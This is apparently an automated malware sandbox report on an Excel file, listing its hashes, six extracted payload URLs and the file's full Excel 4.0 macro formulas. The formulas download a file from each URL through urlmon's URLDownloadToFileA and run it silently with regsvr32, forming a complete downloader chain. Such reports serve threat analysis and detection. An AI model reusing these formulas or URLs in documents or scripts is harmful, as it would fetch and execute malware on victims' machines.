General
-
Target
9ccc077c35b69e9ac2357057723b00b9fdbe51e83835bd2971f27b5c70b490fb
-
Size
46KB
-
MD5
ed48f2db2a4293f0594cd5e1cfe709e3
-
SHA1
bb345c472d8ea6064f057d75af01671712dba313
-
SHA256
9ccc077c35b69e9ac2357057723b00b9fdbe51e83835bd2971f27b5c70b490fb
-
SHA512
32e8aa0a5b92a543a97ad02f8dd8091f71cf5a716947f0ea3a670bb95a77f2c887aeff7d8a53fd6e507fd32a97ba2557aa467acd1ccf6b333caf04dab22f4251
-
SSDEEP
768:iio9DOevZCwrvtD608zdDTKufT9nz0LTyY1NiMZFYpvrLeci3cr+Uh0VPWft:iio9D7UtT5fTR4Lh1NisFYBc3cr+UqVC
Malware Config
Extracted
http://diacrestgroup.com/ggv3rjy/9/
https://merturku.com/blogs/IFcif/
https://tugbagoncaguzellik.com/odwxblu/hRhyIiTr7M8/
https://winnieswondersaviary.com/wp-content/GfGvSMj6HihGNZZa9T/
https://mayatherm.com/vendor/3Vk/
https://dbmtechnologies.ca/wp-content/oZE7jRqRoPg7zVVW9/
-
formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://diacrestgroup.com/ggv3rjy/9/","..\aew.ocx",0,0) =IF('EFALGV'!D10<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://merturku.com/blogs/IFcif/","..\aew.ocx",0,0)) =IF('EFALGV'!D12<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://tugbagoncaguzellik.com/odwxblu/hRhyIiTr7M8/","..\aew.ocx",0,0)) =IF('EFALGV'!D14<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://winnieswondersaviary.com/wp-content/GfGvSMj6HihGNZZa9T/","..\aew.ocx",0,0)) =IF('EFALGV'!D16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://mayatherm.com/vendor/3Vk/","..\aew.ocx",0,0)) =IF('EFALGV'!D18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://dbmtechnologies.ca/wp-content/oZE7jRqRoPg7zVVW9/","..\aew.ocx",0,0)) =IF('EFALGV'!D20<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe /s ..\aew.ocx") =RETURN()
Signatures
-
Suspicious Office macro 1 IoCs
Office document equipped with 4.0 macros.
Files
-
9ccc077c35b69e9ac2357057723b00b9fdbe51e83835bd2971f27b5c70b490fb